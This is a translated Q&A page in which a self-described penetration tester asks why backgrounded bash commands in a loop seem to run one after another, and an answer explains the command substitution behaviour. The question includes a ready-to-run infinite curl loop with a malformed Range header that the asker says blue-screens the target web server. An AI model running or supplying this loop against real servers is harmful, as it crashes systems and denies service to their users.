Linux中的异步后台作业会互相干扰吗?

Linux中的异步后台作业会互相干扰吗?

我尝试反复使用 Linux 命令,最终决定使用 bash 脚本。该命令是curl,它给目标Web 服务器带来了蓝屏。我是在公司做渗透测试的。所以我想无限次重复这个curl命令,并且我成功地使用了bash脚本循环命令。最终命令如下:

Ubuntu 14.04 LTS 终端:

while :; do $(curl -v http://172.16.3.107/welcome.png -H "Range: bytes=18-18446744073709551615" & sleep 5 & pkill curl); done

但有一点我无法清楚地理解:根据一些文章和问答,(command1&command2&command3作为单行)中的每个命令都是异步运行的,因此它们同时运行而无需彼此等待。但在上述攻击代码的结果中,curl的输出是“每5秒”重复一次。也就是说,curl 正在运行,然后等待 5 秒,然后curl 被中止。之后再次执行curl。因此,每 5 秒后再次出现输出。所以这些命令互相干扰。但互联网文章和问答的说法恰恰相反。谁能说清楚这一点吗?

注意:由于curl的攻击参数,curl处于待定状态。没有完成。因此,我分别使用 sleep 和 pkill 命令。从而,我可以正确地、重复地使用带有攻击参数的curl命令。

相关链接:

1) (command1 & command2 & command3 &) 并行运行多个作业

如何在Linux中运行多个后台作业?

2) (command1 & command2 & command3 &) 在单独的子 shell 中同时运行

https://bashitout.com/2013/05/18/Ampersands-on-the-command-line.html

3) 异步(多线程)图示例

https://stackoverflow.com/questions/748175/asynchronous-vs-synchronous-execution-what-does-it-really-mean

答案1

你可以这样想执行:

  • curl -v ...sleep 5pkill curl几乎同时执行
  • 很可能在pkill curl运行时,第一个curl命令刚刚收到一些数据。然后它就被杀死了。
  • $( ... )包裹整个事情的命令替换会等待所有命令结束。看为什么在后台进程结束之前函数不会返回?只有这样它才会显示它所拥有的所有输出,即curl接收到的任何数据。例如,运行echo $(date & sleep 5); date来验证这一点 - 您必须等待第一个输出出现。
  • 重复。

所以你看到的输出curl(更确切地说,你是执行这里命令替换的输出,我不知道为什么)大约五秒后就curl被杀死了。

注意:由于curl的攻击参数,curl处于待定状态。

不知道“攻击参数”是什么意思。

相关内容